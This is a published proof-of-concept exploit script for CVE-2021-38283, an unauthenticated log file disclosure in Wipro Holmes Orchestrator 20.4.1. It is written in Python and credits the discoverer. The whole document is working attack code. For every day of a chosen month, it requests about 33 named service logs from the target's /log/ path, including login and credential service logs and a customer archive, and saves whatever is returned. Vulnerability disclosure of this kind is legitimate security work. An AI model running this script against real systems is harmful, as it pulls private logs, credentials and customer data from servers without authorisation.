# Exploit Title: Wipro Holmes Orchestrator 20.4.1 - Log File Disclosure # Date: 09/08/2021 # Exploit Author: Rizal Muhammed @ub3rsick # Vendor Homepage: https://www.wipro.com/holmes/ # Version: Wipro Holmes Orchestrator v20.4.1 # Tested on: Windows # CVE : CVE-2021-38283 import requests as rq import argparse import datetime import os from calendar import monthrange from multiprocessing.dummy import Pool as ThreadPool from functools import partial # Change if running on different port port = 8001 log_list = [ "AlertService.txt", "ApprovalService.txt", "AuditService.txt", "CustomerController.txt", "CustomerDomainCredentialService.txt", "CustomerFile.zip", "CustomerService.txt", "DashboardController.txt", "DataParseService.txt", "DomainService.txt", "ExecutionService.txt", "ExternalAPIService.txt", "FilesController.txt", "FormService.txt", "InfrastructureService.txt", "ITSMConfigPrepService.txt", "LicenseService.txt", "LoginService.txt", "MailService.txt", "MasterdataController.txt", "NetworkService.txt", "OrchestrationPreparationService.txt", "ProblemInfrastructureService.txt", "ProcessExecutionService.txt", "ServiceRequestService.txt", "SolutionController.txt", "SolutionLiveService.txt", "SolutionService.txt", "StorageService.txt", "TaskService.txt", "TicketingService.txt", "UserController.txt", "UtilityService.txt" ] def check_month(val): ival = int(val) if ival > 0 and ival < 13: return ival else: raise argparse.ArgumentTypeError("%s is not a valid month" % val) def check_year(val): iyear = int(val) if iyear >= 1960 and iyear <= datetime.date.today().year: return iyear else: raise argparse.ArgumentTypeError("%s is not a valid year" % val) def do_request(target, date, log_file): log_url = f"http://{target}/log/{date}/{log_file}" log_name = f"{date}_{log_file}" print(f"[*] Requesting Log: /log/{date}/{log_file}") resp = rq.get(log_url) if resp.status_code == 200 and not "Wipro Ltd." in resp.text: print(f"[+] Success: {log_url}") with open(f"logs/{log_name}", 'w') as lf: lf.write(resp.text) print(f"[*] Log File Written to ./logs/{log_name}") def main(): parser = argparse.ArgumentParser(description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure", epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick") parser.add_argument("-t", "--target-ip", help="IP Address of the target server", required=True) parser.add_argument("-m", "--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True, type=check_month) parser.add_argument("-y", "--year", help="Year of the log", required=True, type=check_year) args = parser.parse_args() ndays = monthrange(args.year, args.month)[1] date_list = [f"{datetime.date(args.year, args.month, day)}" for day in range(1, ndays + 1)] target = f"{args.target_ip}:{port}" # Create folder "logs" to save log files, if it does not exist if not os.path.exists("./logs"): os.makedirs("./logs") for log_date in date_list: for log_file in log_list: do_request(target, log_date, log_file) if __name__ == "__main__": main()